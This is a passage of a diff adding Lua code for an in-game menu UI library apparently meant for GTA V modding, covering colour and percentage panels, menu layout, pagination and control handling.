+ self.Text:Text(self.Data.Title .. " (" .. CurrentSelection .. " of " .. #self.Data.Items .. ")")
+end
+
+function UIMenuColourPanel:Functions()
+
+ local SafeZone = { X = 0, Y = 0 }
+ if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then
+ SafeZone = GetSafeZoneBounds()
+ end
+
+
+ if IsMouseInBounds(self.LeftArrow.X + SafeZone.X, self.LeftArrow.Y + SafeZone.Y, self.LeftArrow.Width, self.LeftArrow.Height) then
+ if IsDisabledControlJustPressed(0, 24) then
+ if #self.Data.Items > self.Data.Pagination.Total + 1 then
+ if self:CurrentSelection() <= self.Data.Pagination.Min + 1 then
+ if self:CurrentSelection() == 1 then
+ self.Data.Pagination.Min = #self.Data.Items - (self.Data.Pagination.Total + 1)
+ self.Data.Pagination.Max = #self.Data.Items
+ self.Data.Index = 1000 - (1000 % #self.Data.Items)
+ self.Data.Index = self.Data.Index + (#self.Data.Items - 1)
+ self:UpdateSelection()
+ else
+ self.Data.Pagination.Min = self.Data.Pagination.Min - 1
+ self.Data.Pagination.Max = self.Data.Pagination.Max - 1
+ self.Data.Index = self.Data.Index - 1
+ self:UpdateSelection()
+ end
+ else
+ self.Data.Index = self.Data.Index - 1
+ self:UpdateSelection()
+ end
+ else
+ self.Data.Index = self.Data.Index - 1
+ self:UpdateSelection()
+ end
+ end
+ end
+
+ if IsMouseInBounds(self.RightArrow.X + SafeZone.X, self.RightArrow.Y + SafeZone.Y, self.RightArrow.Width, self.RightArrow.Height) then
+ if IsDisabledControlJustPressed(0, 24) then
+ if #self.Data.Items > self.Data.Pagination.Total + 1 then
+ if self:CurrentSelection() >= self.Data.Pagination.Max then
+ if self:CurrentSelection() == #self.Data.Items then
+ self.Data.Pagination.Min = 0
+ self.Data.Pagination.Max = self.Data.Pagination.Total + 1
+ self.Data.Index = 1000 - (1000 % #self.Data.Items)
+ self:UpdateSelection()
+ else
+ self.Data.Pagination.Max = self.Data.Pagination.Max + 1
+ self.Data.Pagination.Min = self.Data.Pagination.Max - (self.Data.Pagination.Total + 1)
+ self.Data.Index = self.Data.Index + 1
+ self:UpdateSelection()
+ end
+ else
+ self.Data.Index = self.Data.Index + 1
+ self:UpdateSelection()
+ end
+ else
+ self.Data.Index = self.Data.Index + 1
+ self:UpdateSelection()
+ end
+ end
+ end
+
+ for Index = 1, #self.Bar do
+ if IsMouseInBounds(self.Bar[Index].X + SafeZone.X, self.Bar[Index].Y + SafeZone.Y, self.Bar[Index].Width, self.Bar[Index].Height) then
+ if IsDisabledControlJustPressed(0, 24) then
+ self:CurrentSelection(self.Data.Pagination.Min + Index - 1)
+ end
+ end
+ end
+end
+
+function UIMenuColourPanel:Draw() -- required
+ if self.Data.Enabled then
+ self.Background:Size(431 + self.ParentItem:SetParentMenu().WidthOffset, 112)
+
+ self.Background:Draw()
+ self.LeftArrow:Draw()
+ self.RightArrow:Draw()
+ self.Text:Draw()
+ self.SelectedRectangle:Draw()
+ for Index = 1, #self.Bar do
+ self.Bar[Index]:Draw()
+ end
+ self:Functions()
+ end
+end
+
+--[[
+ UIMenuPercentagePanel.lua
+ Panels
+--]]
+
+function UIMenuPercentagePanel.New(MinText, MaxText)
+ _UIMenuPercentagePanel = {
+ Data = {
+ Enabled = true,
+ },
+ Background = Sprite.New("commonmenu", "gradient_bgd", 0, 0, 431, 76),
+ ActiveBar = UIResRectangle.New(0, 0, 413, 10, 245, 245, 245, 255),
+ BackgroundBar = UIResRectangle.New(0, 0, 413, 10, 87, 87, 87, 255),
+ Text = {
+ Min = UIResText.New(MinText or "0%", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ Max = UIResText.New("100%", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ Title = UIResText.New(MaxText or "Opacity", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ },
+ Audio = { Slider = "CONTINUOUS_SLIDER", Library = "HUD_FRONTEND_DEFAULT_SOUNDSET", Id = nil },
+ ParentItem = nil,
+ }
+
+ return setmetatable(_UIMenuPercentagePanel, UIMenuPercentagePanel)
+end
+
+function UIMenuPercentagePanel:SetParentItem(Item) -- required
+ if Item() == "UIMenuItem" then
+ self.ParentItem = Item
+ else
+ return self.ParentItem
+ end
+end
+
+function UIMenuPercentagePanel:Enabled(Enabled)
+ if type(Enabled) == "boolean" then
+ self.Data.Enabled = Enabled
+ else
+ return self.Data.Enabled
+ end
+end
+
+function UIMenuPercentagePanel:Position(Y) -- required
+ if tonumber(Y) then
+ local ParentOffsetX, ParentOffsetWidth = self.ParentItem:Offset().X, self.ParentItem:SetParentMenu().WidthOffset
+ self.Background:Position(ParentOffsetX, Y)
+ self.ActiveBar:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 9, 50 + Y)
+ self.BackgroundBar:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 9, 50 + Y)
+ self.Text.Min:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 25, 15 + Y)
+ self.Text.Max:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 398, 15 + Y)
+ self.Text.Title:Position(ParentOffsetX + (ParentOffsetWidth / 2) + 215.5, 15 + Y)
+ end
+end
+
+function UIMenuPercentagePanel:Percentage(Value)
+ if tonumber(Value) then
+ local Percent = ((Value < 0.0) and 0.0) or ((Value > 1.0) and 1.0 or Value)
+ self.ActiveBar:Size(self.BackgroundBar.Width * Percent, self.ActiveBar.Height)
+ else
+ local SafeZone = { X = 0, Y = 0 }
+ if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then
+ SafeZone = GetSafeZoneBounds()
+ end
+
+ local Progress = (math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) - self.ActiveBar.X
+ return math.round(((Progress >= 0 and Progress <= 413) and Progress or ((Progress < 0) and 0 or 413)) / self.BackgroundBar.Width, 2)
+ end
+end
+
+function UIMenuPercentagePanel:UpdateParent(Percentage)
+ local _, ParentType = self.ParentItem()
+ if ParentType == "UIMenuListItem" then
+ local PanelItemIndex = self.ParentItem:FindPanelItem()
+ if PanelItemIndex then
+ self.ParentItem.Items[PanelItemIndex].Value[self.ParentItem:FindPanelIndex(self)] = Percentage
+ self.ParentItem:Index(PanelItemIndex)
+ self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ else
+ local PanelIndex = self.ParentItem:FindPanelIndex(self)
+ for Index = 1, #self.ParentItem.Items do
+ if type(self.ParentItem.Items[Index]) == "table" then
+ if not self.ParentItem.Items[Index].Panels then self.ParentItem.Items[Index].Panels = {} end
+ self.ParentItem.Items[Index].Panels[PanelIndex] = Percentage
+ else
+ self.ParentItem.Items[Index] = { Name = tostring(self.ParentItem.Items[Index]), Value = self.ParentItem.Items[Index], Panels = { [PanelIndex] = Percentage } }
+ end
+ end
+ self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ end
+ elseif ParentType == "UIMenuItem" then
+ self.ParentItem.ActivatedPanel(self.ParentItem.ParentMenu, self.ParentItem, self, Percentage)
+ end
+end
+
+function UIMenuPercentagePanel:Functions()
+
+ local SafeZone = { X = 0, Y = 0 }
+ if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then
+ SafeZone = GetSafeZoneBounds()
+ end
+
+ if IsMouseInBounds(self.BackgroundBar.X + SafeZone.X, self.BackgroundBar.Y - 4 + SafeZone.Y, self.BackgroundBar.Width, self.BackgroundBar.Height + 8) then
+ if IsDisabledControlJustPressed(0, 24) then
+ if not self.Pressed then
+ self.Pressed = true
+ CreateThread(function()
+ self.Audio.Id = GetSoundId()
+ PlaySoundFrontend(self.Audio.Id, self.Audio.Slider, self.Audio.Library, 1)
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.BackgroundBar.X + SafeZone.X, self.BackgroundBar.Y - 4 + SafeZone.Y, self.BackgroundBar.Width, self.BackgroundBar.Height + 8) do
+ Wait(0)
+ local Progress = (math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) - self.ActiveBar.X
+ self.ActiveBar:Size(((Progress >= 0 and Progress <= 413) and Progress or ((Progress < 0) and 0 or 413)), self.ActiveBar.Height)
+ end
+ StopSound(self.Audio.Id)
+ ReleaseSoundId(self.Audio.Id)
+ self.Pressed = false
+ end)
+ CreateThread(function()
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.BackgroundBar.X + SafeZone.X, self.BackgroundBar.Y - 4 + SafeZone.Y, self.BackgroundBar.Width, self.BackgroundBar.Height + 8) do
+ Wait(75)
+ local Progress = (math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) - self.ActiveBar.X
+ self:UpdateParent(math.round(((Progress >= 0 and Progress <= 413) and Progress or ((Progress < 0) and 0 or 413)) / self.BackgroundBar.Width, 2))
+ end
+ end)
+ end
+ end
+ end
+end
+
+function UIMenuPercentagePanel:Draw() -- required
+ if self.Data.Enabled then
+ self.Background:Size(431 + self.ParentItem:SetParentMenu().WidthOffset, 76)
+ self.Background:Draw()
+ self.BackgroundBar:Draw()
+ self.ActiveBar:Draw()
+ self.Text.Min:Draw()
+ self.Text.Max:Draw()
+ self.Text.Title:Draw()
+ self:Functions()
+ end
+end
+
+--[[
+ UIMenu.lua
+ Menus
+--]]
+
+function UIMenu.New(Title, Subtitle, X, Y, TxtDictionary, TxtName)
+ local X, Y = tonumber(X) or 0, tonumber(Y) or 0
+ if Title ~= nil then Title = tostring(Title) or "" else Title = "" end
+ if Subtitle ~= nil then Subtitle = tostring(Subtitle) or "" else Subtitle = "" end
+ if TxtDictionary ~= nil then TxtDictionary = tostring(TxtDictionary) or "commonmenu" else TxtDictionary = "commonmenu" end
+ if TxtName ~= nil then TxtName = tostring(TxtName) or "interaction_bgd" else TxtName = "interaction_bgd" end
+ local _UIMenu = {
+ Logo = Sprite.New(TxtDictionary, TxtName, 0 + X, 0 + Y, 431, 107),
+ Banner = nil,
+ Title = UIResText.New(Title, 215 + X, 20 + Y, 1.15, Config.TitleColour.R, Config.TitleColour.G, Config.TitleColour.B, Config.TitleColour.A, Config.MenuFont, 1, nil, Config.TitleOutline),
+ Subtitle = { ExtraY = 0 },
+ WidthOffset = 0,
+ Position = { X = X, Y = Y },
+ Pagination = { Min = 0, Max = 9, Total = 9 },
+ PageCounter = { PreText = "" },
+ Extra = {},
+ Description = {},
+ Items = {},
+ Windows = {},
+ Children = {},
+ Controls = {
+ Back = {
+ Enabled = true,
+ },
+ Select = {
+ Enabled = true,
+ },
+ Left = {
+ Enabled = true,
+ },
+ Right = {
+ Enabled = true,
+ },
+ Up = {
+ Enabled = true,
+ },
+ Down = {
+ Enabled = true,
+ },
+ Increment = {
+ Enabled = true,
+ }
+ },
+ ParentMenu = nil,
+ ParentItem = nil,
+ _Visible = false,
+ ActiveItem = 1000,
+ Dirty = false;
+ ReDraw = true,
+ InstructionalScaleform = RequestScaleformMovie("INSTRUCTIONAL_BUTTONS"),
+ InstructionalButtons = {},
+ OnIndexChange = function(menu, newindex) end,
+ OnListChange = function(menu, list, newindex) end,
+ OnSliderChange = function(menu, slider, newindex) end,
+ OnProgressChange = function(menu, progress, newindex) end,
+ OnCheckboxChange = function(menu, item, checked) end,
+ OnListSelect = function(menu, list, index) end,
+ OnSliderSelect = function(menu, slider, index) end,
+ OnProgressSelect = function(menu, progress, index) end,
+ OnItemSelect = function(menu, item, index) end,
+ OnMenuChanged = function(menu, newmenu, forward) end,
+ OnMenuClosed = function(menu) end,
+ Settings = {
+ InstructionalButtons = true,
+ MultilineFormats = true,
+ ScaleWithSafezone = true,
+ ResetCursorOnOpen = false,
+ MouseControlsEnabled = false,
+ MouseEdgeEnabled = false,
+ ControlDisablingEnabled = Config.DisableControls,
+ Audio = {
+ Library = "HUD_FRONTEND_DEFAULT_SOUNDSET",
+ UpDown = "NAV_UP_DOWN",
+ LeftRight = "NAV_LEFT_RIGHT",
+ Select = "SELECT",
+ Back = "BACK",
+ Error = "ERROR",
+ },
+ EnabledControls = {
+ Controller = {
+ { 0, 2 }, -- Look Up and Down
+ { 0, 1 }, -- Look Left and Right
+ { 0, 25 }, -- Aim
+ { 0, 24 }, -- Attack
+ { 0, 71 }, -- Accelerate Vehicle
+ { 0, 72 }, -- Vehicle Brake
+ { 0, 30 }, -- Move Left and Right
+ { 0, 31 }, -- Move Up and Down
+ { 0, 59 }, -- Move Vehicle Left and Right
+ { 0, 75 }, -- Exit Vehicle
+ { 0, 23 }, -- Enter Vehicle
+ },
+ Keyboard = {
+ { 0, 0 }, -- Camera
+ { 0, 1 }, -- Look Left and Right
+ { 0, 2 }, -- Look Up and Down
+ { 0, 8 }, -- Fly Up and Down
+ { 0, 9 }, -- Fly Left and Right
+ { 0, 21 }, -- Sprint
+ { 0, 22 }, -- Jump
+ { 0, 23 }, -- Enter
+ { 0, 24 }, -- Attack
+ { 0, 25 }, -- Aim
+ { 0, 26 }, -- C
+ { 0, 30 }, -- Move Left and Right
+ { 0, 31 }, -- Move Up and Down
+ { 0, 47 }, -- G
+ -- { 0, 59 }, -- Move Vehicle Left and Right
+ { 0, 71 }, -- Accelerate Vehicle
+ { 0, 72 }, -- Vehicle Brake
+ { 0, 73 }, -- X
+ { 0, 75 }, -- Exit Vehicle
+ { 0, 76 }, -- Vehicle Handbrake
+ { 0, 89 }, -- Fly Yaw Left
+ { 0, 90 }, -- Fly Yaw Right
+ { 0, 108 }, -- Num Pad 4
+ { 0, 109 }, -- Num Pad 6
+ { 0, 110 }, -- Num Pad 5
+ { 0, 111 }, -- Num Pad 8
+ { 0, 117 }, -- Num Pad 7
+ { 0, 118 }, -- Num Pad 9
+ { 0, 171 }, -- CAPSLOCK
+ { 0, 187 }, -- Down
+ { 0, 188 }, -- Up
+ { 0, 189 }, -- Left
+ { 0, 190 }, -- Right
+ { 0, 195 }, -- X axis
+ { 0, 196 }, -- Y axis
+ { 0, 201 }, -- Select
+ { 0, 202 }, -- Back
+ { 0, 203 }, -- Spacebar?
+ { 0, 217 }, -- Select
+ { 0, 239 }, -- Cursor X
+ { 0, 240 }, -- Cursor Y
+ { 0, 241 }, -- Scroll up
+ { 0, 242 }, -- Scroll down
+ { 0, 249 }, -- N
+ { 0, 305 }, -- B
+ { 0, 306 }, -- N
+ },
+ }
+ }
+ }
+
+ if Subtitle ~= "" and Subtitle ~= nil then
+ _UIMenu.Subtitle.Rectangle = UIResRectangle.New(0 + _UIMenu.Position.X, 107 + _UIMenu.Position.Y, 431, 37, 0, 0, 0, 255)
+ _UIMenu.Subtitle.Text = UIResText.New(Subtitle, 8 + _UIMenu.Position.X, 110 + _UIMenu.Position.Y, 0.35, 245, 245, 245, 255, 0)
+ _UIMenu.Subtitle.BackupText = Subtitle
+ _UIMenu.Subtitle.Formatted = false
+ if string.starts(Subtitle, "~") then
+ _UIMenu.PageCounter.PreText = string.sub(Subtitle, 1, 3)
+ end
+ _UIMenu.PageCounter.Text = UIResText.New("", 425 + _UIMenu.Position.X, 110 + _UIMenu.Position.Y, 0.35, 245, 245, 245, 255, 0, "Right")
+ _UIMenu.Subtitle.ExtraY = 37
+ end
+
+ _UIMenu.ArrowSprite = Sprite.New("commonmenu", "shop_arrows_upanddown", 190 + _UIMenu.Position.X, 147 + 37 * (_UIMenu.Pagination.Total + 1) + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 50, 50)
+ _UIMenu.Extra.Up = UIResRectangle.New(0 + _UIMenu.Position.X, 144 + 38 * (_UIMenu.Pagination.Total + 1) + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 431, 18, 0, 0, 0, 200)
+ _UIMenu.Extra.Down = UIResRectangle.New(0 + _UIMenu.Position.X, 144 + 18 + 38 * (_UIMenu.Pagination.Total + 1) + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 431, 18, 0, 0, 0, 200)
+
+ _UIMenu.Description.Bar = UIResRectangle.New(_UIMenu.Position.X, 123, 431, 4, 0, 0, 0, 255)
+ _UIMenu.Description.Rectangle = Sprite.New("commonmenu", "gradient_bgd", _UIMenu.Position.X, 127, 431, 30)
+ _UIMenu.Description.Text = UIResText.New("Description", _UIMenu.Position.X + 5, 125, 0.35)
+
+ _UIMenu.Background = Sprite.New("commonmenu", "gradient_bgd", _UIMenu.Position.X, 144 + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 290, 25)
+
+ CreateThread(function()
+ if not HasScaleformMovieLoaded(_UIMenu.InstructionalScaleform) then
+ _UIMenu.InstructionalScaleform = RequestScaleformMovie("INSTRUCTIONAL_BUTTONS")
+ while not HasScaleformMovieLoaded(_UIMenu.InstructionalScaleform) do
+ Wait(0)
+ end
+ end
+ end)
+ return setmetatable(_UIMenu, UIMenu)
+end
+
+function UIMenu:SetMenuWidthOffset(Offset)
+ if tonumber(Offset) then
+ self.WidthOffset = math.floor(tonumber(Offset))
+ self.Logo:Size(431 + self.WidthOffset, 107)
+ self.Title:Position(((self.WidthOffset + 431) / 2) + self.Position.X, 20 + self.Position.Y)
+ if self.Subtitle.Rectangle ~= nil then
+ self.Subtitle.Rectangle:Size(431 + self.WidthOffset + 100, 37)
+ self.PageCounter.Text:Position(425 + self.Position.X + self.WidthOffset, 110 + self.Position.Y)
+ end
+ if self.Banner ~= nil then
+ self.Banner:Size(431 + self.WidthOffset, 107)
+ end
+ end
+end
+
+function UIMenu:DisEnableControls(bool)
+ if bool then
+ EnableAllControlActions(2)
+ else
+ DisableAllControlActions(2)
+ end
+
+ if bool then
+ return
+ else
+ if Controller() then
+ for Index = 1, #self.Settings.EnabledControls.Controller do
+ EnableControlAction(self.Settings.EnabledControls.Controller[Index][1], self.Settings.EnabledControls.Controller[Index][2], true)
+ end
+ else
+ for Index = 1, #self.Settings.EnabledControls.Keyboard do
+ EnableControlAction(self.Settings.EnabledControls.Keyboard[Index][1], self.Settings.EnabledControls.Keyboard[Index][2], true)
+ end
+ end
+ end
+end
+
+function UIMenu:InstructionalButtons(bool)
+ if bool ~= nil then
+ self.Settings.InstrucitonalButtons = tobool(bool)
+ end
+end
+
+function UIMenu:SetBannerSprite(Sprite, IncludeChildren)
+ if Sprite() == "Sprite" then
+ self.Logo = Sprite
+ self.Logo:Size(431 + self.WidthOffset, 107)
+ self.Logo:Position(self.Position.X, self.Position.Y)
+ self.Banner = nil
+ if IncludeChildren then
+ for Item, Menu in pairs(self.Children) do
+ Menu.Logo = Sprite
+ Menu.Logo:Size(431 + self.WidthOffset, 107)
+ Menu.Logo:Position(self.Position.X, self.Position.Y)
+ Menu.Banner = nil
+ end
+ end
+ end
+end
+
+function UIMenu:SetBannerRectangle(Rectangle, IncludeChildren)
+ if Rectangle() == "Rectangle" then
+ self.Banner = Rectangle
+ self.Banner:Size(431 + self.WidthOffset, 107)
+ self.Banner:Position(self.Position.X, self.Position.Y)
+ self.Logo = nil
+ if IncludeChildren then
+ for Item, Menu in pairs(self.Children) do
+ Menu.Banner = Rectangle
+ Menu.Banner:Size(431 + self.WidthOffset, 107)
+ Menu:Position(self.Position.X, self.Position.Y)
+ Menu.Logo = nil
+ end
+ end
+ end
+end
+
+function UIMenu:CurrentSelection(value)
+ if tonumber(value) then
+ if #self.Items == 0 then
+ self.ActiveItem = 0
+ end
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = 1000000 - (1000000 % #self.Items) + tonumber(value)
+
+ if self:CurrentSelection() > self.Pagination.Max then
+ self.Pagination.Min = self:CurrentSelection() - self.Pagination.Total
+ self.Pagination.Max = self:CurrentSelection()
+ elseif self:CurrentSelection() < self.Pagination.Min then
+ self.Pagination.Min = self:CurrentSelection()
+ self.Pagination.Max = self:CurrentSelection() + self.Pagination.Total
+ end
+ else
+ if #self.Items == 0 then
+ return 1
+ else
+ if self.ActiveItem % #self.Items == 0 then
+ return 1
+ else
+ return self.ActiveItem % #self.Items + 1
+ end
+ end
+ end
+end
+
+function UIMenu:CalculateWindowHeight()
+ local Height = 0
+ for i = 1, #self.Windows do
+ Height = Height + self.Windows[i].Background:Size().Height
+ end
+ return Height
+end
+
+function UIMenu:CalculateItemHeightOffset(Item)
+ if Item.Base then
+ return Item.Base.Rectangle.Height
+ else
+ return Item.Rectangle.Height
+ end
+end
+
+function UIMenu:CalculateItemHeight()
+ local ItemOffset = 0 + self.Subtitle.ExtraY - 37
+ for i = self.Pagination.Min + 1, self.Pagination.Max do
+ local Item = self.Items[i]
+ if Item ~= nil then
+ ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item)
+ end
+ end
+ return ItemOffset
+end
+
+function UIMenu:RecalculateDescriptionPosition()
+ local WindowHeight = self:CalculateWindowHeight()
+ self.Description.Bar:Position(self.Position.X, 149 + self.Position.Y + WindowHeight)
+ self.Description.Rectangle:Position(self.Position.X, 149 + self.Position.Y + WindowHeight)
+ self.Description.Text:Position(self.Position.X + 8, 155 + self.Position.Y + WindowHeight)
+
+ self.Description.Bar:Size(431 + self.WidthOffset, 4)
+ self.Description.Rectangle:Size(431 + self.WidthOffset, 30)
+
+ self.Description.Bar:Position(self.Position.X, self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + self.Description.Bar:Position().Y)
+ self.Description.Rectangle:Position(self.Position.X, self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + self.Description.Rectangle:Position().Y)
+ self.Description.Text:Position(self.Position.X + 8, self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + self.Description.Text:Position().Y)
+end
+
+function UIMenu:CaclulatePanelPosition(HasDescription)
+ local Height = self:CalculateWindowHeight() + 149 + self.Position.Y
+
+ if HasDescription then
+ Height = Height + self.Description.Rectangle:Size().Height + 5
+ end
+
+ return self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + Height
+end
+
+function UIMenu:AddWindow(Window)
+ if Window() == "UIMenuWindow" then
+ Window:SetParentMenu(self)
+ Window:Offset(self.Position.X, self.Position.Y)
+ table.insert(self.Windows, Window)
+ self.ReDraw = true
+ self:RecalculateDescriptionPosition()
+ end
+end
+
+function UIMenu:RemoveWindowAt(Index)
+ if tonumber(Index) then
+ if self.Windows[Index] then
+ table.remove(self.Windows, Index)
+ self.ReDraw = true
+ self:RecalculateDescriptionPosition()
+ end
+ end
+end
+
+function UIMenu:AddItem(Item)
+ if Item() == "UIMenuItem" then
+ local SelectedItem = self:CurrentSelection()
+ Item:SetParentMenu(self)
+ Item:Offset(self.Position.X, self.Position.Y)
+ Item:Position((#self.Items * 25) - 37 + self.Subtitle.ExtraY)
+ table.insert(self.Items, Item)
+ self:RecalculateDescriptionPosition()
+ self:CurrentSelection(SelectedItem)
+ end
+end
+
+function UIMenu:RemoveItemAt(Index)
+ if tonumber(Index) then
+ if self.Items[Index] then
+ local SelectedItem = self:CurrentSelection()
+ if #self.Items > self.Pagination.Total and self.Pagination.Max == #self.Items - 1 then
+ self.Pagination.Min = self.Pagination.Min - 1
+ self.Pagination.Max = self.Pagination.Max + 1
+ end
+ table.remove(self.Items, tonumber(Index))
+ self:RecalculateDescriptionPosition()
+ self:CurrentSelection(SelectedItem)
+ end
+ end
+end
+
+function UIMenu:RefreshIndex()
+ if #self.Items == 0 then
+ self.ActiveItem = 1000
+ self.Pagination.Max = self.Pagination.Total + 1
+ self.Pagination.Min = 0
+ return
+ end
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = 1000 - (1000 % #self.Items)
+ self.Pagination.Max = self.Pagination.Total + 1
+ self.Pagination.Min = 0
+ self.ReDraw = true
+end
+
+function UIMenu:Clear()
+ self.Items = {}
+ self.ReDraw = true
+ self:RecalculateDescriptionPosition()
+end
+
+function UIMenu:MultilineFormat(str)
+ if tostring(str) then
+
+ local PixelPerLine = 425 + self.WidthOffset
+ local AggregatePixels = 0
+ local output = ""
+ local words = string.split(tostring(str), " ")
+
+ for i = 1, #words do
+ local offset = MeasureStringWidth(words[i], 0, 0.35)
+ AggregatePixels = AggregatePixels + offset
+ if AggregatePixels > PixelPerLine then
+ output = output .. "\n" .. words[i] .. " "
+ AggregatePixels = offset + MeasureString(" ")
+ else
+ output = output .. words[i] .. " "
+ AggregatePixels = AggregatePixels + MeasureString(" ")
+ end
+ end
+ return output
+ end
+end
+
+function UIMenu:DrawCalculations()
+ local WindowHeight = self:CalculateWindowHeight()
+
+ if self.Settings.MultilineFormats then
+ if self.Subtitle.Rectangle and not self.Subtitle.Formatted then
+ self.Subtitle.Formatted = true
+ self.Subtitle.Text:Text(self:MultilineFormat(self.Subtitle.Text:Text()))
+
+ local Linecount = #string.split(self.Subtitle.Text:Text(), "\n")
+ self.Subtitle.ExtraY = ((Linecount == 1) and 37 or ((Linecount + 1) * 22))
+ self.Subtitle.Rectangle:Size(431 + self.WidthOffset, self.Subtitle.ExtraY)
+ end
+ elseif self.Subtitle.Formatted then
+ self.Subtitle.Formatted = false
+ self.Subtitle.ExtraY = 37
+ self.Subtitle.Rectangle:Size(431 + self.WidthOffset, self.Subtitle.ExtraY)
+ self.Subtitle.Text:Text(self.Subtitle.BackupText)
+ end
+
+ self.Background:Size(431 + self.WidthOffset, self:CalculateItemHeight() + WindowHeight + ((self.Subtitle.ExtraY > 0) and 0 or 37))
+
+ self.Extra.Up:Size(431 + self.WidthOffset, 18)
+ self.Extra.Down:Size(431 + self.WidthOffset, 18)
+
+ self.Extra.Up:Position(self.Position.X, 144 + self:CalculateItemHeight() + self.Position.Y + WindowHeight)
+ self.Extra.Down:Position(self.Position.X, 144 + 18 + self:CalculateItemHeight() + self.Position.Y + WindowHeight)
+
+ if self.WidthOffset > 0 then
+ self.ArrowSprite:Position(190 + self.Position.X + (self.WidthOffset / 2), 137 + self:CalculateItemHeight() + self.Position.Y + WindowHeight)
+ else
+ self.ArrowSprite:Position(190 + self.Position.X + self.WidthOffset, 137 + self:CalculateItemHeight() + self.Position.Y + WindowHeight)
+ end
+
+ self.ReDraw = false
+
+ if #self.Items ~= 0 and self.Items[self:CurrentSelection()]:Description() ~= "" then
+ self:RecalculateDescriptionPosition()
+
+ local description = self.Items[self:CurrentSelection()]:Description()
+ if self.Settings.MultilineFormats then
+ self.Description.Text:Text(self:MultilineFormat(description))
+ else
+ self.Description.Text:Text(description)
+ end
+
+ local Linecount = #string.split(self.Description.Text:Text(), "\n")
+ self.Description.Rectangle:Size(431 + self.WidthOffset, ((Linecount == 1) and 37 or ((Linecount + 1) * 22)))
+ end
+end
+
+function UIMenu:Visible(bool)
+ if bool ~= nil then
+ self._Visible = tobool(bool)
+ self.JustOpened = tobool(bool)
+ self.Dirty = tobool(bool)
+ self:UpdateScaleform()
+ if self.ParentMenu ~= nil or tobool(bool) == false then
+ return
+ end
+ if self.Settings.ResetCursorOnOpen then
+ local W, H = GetScreenResolution()
+ SetCursorLocation(W / 2, H / 2)
+ SetCursorSprite(1)
+ end
+ else
+ return self._Visible
+ end
+end
+
+local paginationValue = 1
+
+function UIMenu:ProcessControl()
+ if not self._Visible then
+ return
+ end
+
+ if self.JustOpened then
+ self.JustOpened = false
+ return
+ end
+
+ if self.Controls.Back.Enabled and (IsDisabledControlJustReleased(0, 177) or IsDisabledControlJustReleased(1, 177) or IsDisabledControlJustReleased(2, 177)) then
+ self:GoBack()
+ end
+
+ if self.Controls.Back.Enabled and (IsDisabledControlJustReleased(0, 199) or IsDisabledControlJustReleased(1, 199) or IsDisabledControlJustReleased(2, 199)) and not tobool(Controller()) then
+ self:GoBack()
+ end
+
+ -- If player is using keyboard, the control is alt
+ if (self.Controls.Increment.Enabled and (IsDisabledControlJustReleased(0, 19) or IsDisabledControlJustReleased(1, 19) or IsDisabledControlJustReleased(2, 19))) and not tobool(Controller()) then
+ if paginationValue == 1 then
+ paginationValue = 10
+ else
+ paginationValue = 1
+ end
+ PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true)
+ self:Visible(true)
+ end
+
+ -- If player is using controller, the control index is 199
+ if (self.Controls.Increment.Enabled and (IsDisabledControlJustReleased(0, 199) or IsDisabledControlJustReleased(1, 199) or IsDisabledControlJustReleased(2, 199))) and tobool(Controller()) then
+ if paginationValue == 1 then
+ paginationValue = 10
+ else
+ paginationValue = 1
+ end
+ PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true)
+ self:Visible(true)
+ end
+
+ if #self.Items == 0 then
+ return
+ end
+
+ if not self.UpPressed then
+ if self.Controls.Up.Enabled and (IsDisabledControlJustPressed(0, 172) or IsDisabledControlJustPressed(1, 172) or IsDisabledControlJustPressed(2, 172) or IsDisabledControlJustPressed(0, 241) or IsDisabledControlJustPressed(1, 241) or IsDisabledControlJustPressed(2, 241) or IsDisabledControlJustPressed(2, 241)) then
+ self.UpPressed = true
+ CreateThread(function()
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoUpOverflow()
+ else
+ self:GoUp()
+ end
+ self:UpdateScaleform()
+ Wait(120)
+ while self.Controls.Up.Enabled and (IsDisabledControlPressed(0, 172) or IsDisabledControlPressed(1, 172) or IsDisabledControlPressed(2, 172) or IsDisabledControlPressed(0, 241) or IsDisabledControlPressed(1, 241) or IsDisabledControlPressed(2, 241) or IsDisabledControlPressed(2, 241)) do
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoUpOverflow()
+ else
+ self:GoUp()
+ end
+ self:UpdateScaleform()
